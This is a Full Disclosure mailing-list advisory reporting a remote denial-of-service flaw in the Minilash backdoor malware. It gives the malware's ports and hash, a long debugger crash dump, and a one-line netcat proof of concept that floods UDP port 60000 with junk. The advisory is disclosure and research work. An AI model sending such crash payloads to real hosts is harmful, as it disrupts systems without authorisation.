Date: Mon, 20 Sep 2021 21:19:41 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Minilash.10.b / Remote Denial of Service (UDP
	Datagram)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3c407448a00b2d53b2418f53b66d5b6b.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Minilash.10.b
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The Minilash malware listens on TCP 6711 and UDP port 60000.
Third-party attackers who can reach infected systems can send a specially
crafted junk payload to UDP port 60000 that results in access violation and
crash.
Type: PE32
MD5: 3c407448a00b2d53b2418f53b66d5b6b
Vuln ID: MVID-2021-0344
Disclosure: 09/20/2021

Memory Dump:
(1518.115c): Access violation - code c0000005 (first/second chance not
available)
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190
edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55              push    ebp

0:000> .ecxr
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190
edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55              push    ebp

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
KERNELBASE!RaiseException+62
762d08f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  0019f780 -- (.exr 0x19f780)
ExceptionAddress: 762d08f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: 0eedfade
  ExceptionFlags: 00000003
NumberParameters: 7
   Parameter[0]: 004104b3
   Parameter[1]: 0420c5a4
   Parameter[2]: ffffffff
   Parameter[3]: 0040d310
   Parameter[4]: 041e77e8
   Parameter[5]: 0019fd0c
   Parameter[6]: 0019fcc0

PROCESS_NAME:
 Backdoor.Win32.Minilash.10.b.3c407448a00b2d53b2418f53b66d5b6b..exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000a0ffc

WRITE_ADDRESS:  000a0ffc

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
762d0890 8bff            mov     edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0019f7d0 -- (.cxr 0x19f7d0)
eax=0019fc30 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040d310
edi=041e77e8
eip=762d08f2 esp=0019fc30 ebp=0019fc8c iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000216
KERNELBASE!RaiseException+0x62:
762d08f2 8b4c2454        mov     ecx,dword ptr [esp+54h]
ss:002b:0019fc84=cb93ef1f
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 0045462e to 762d08f2

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:
0019fc30 762d08f2 kernelbase!RaiseException+0x62
0019fd14 0045462e
backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x5462e
0019fd6c 0045454d
backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x5454d
0019fd88 76ebe0bb user32!_InternalCallWinProc+0x2b
0019fdb4 76ec8849 user32!InternalCallWinProc+0x20
0019fdd8 76ecb145 user32!UserCallWinProcCheckWow+0x1be
0019fea8 76eb90dc user32!DispatchMessageWorker+0x4ac
0019ff14 76eb38c0 user32!DispatchMessageA+0x10
0019ff1c 00446400
backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x46400
0019ff70 004669b3
backdoor_win32_minilash_10_b_3c407448a00b2d53b2418f53b66d5b6b_+0x669b3
0019ff88 74118654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  kernelbase!RaiseException+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME:  KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019F7D0 ; kb ; dds 19fc30 ; kb

FAILURE_BUCKET_ID:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0


Exploit/PoC:
python -c "print('A'*10000)" | nc64.exe x.x.x.x -u -c 60000


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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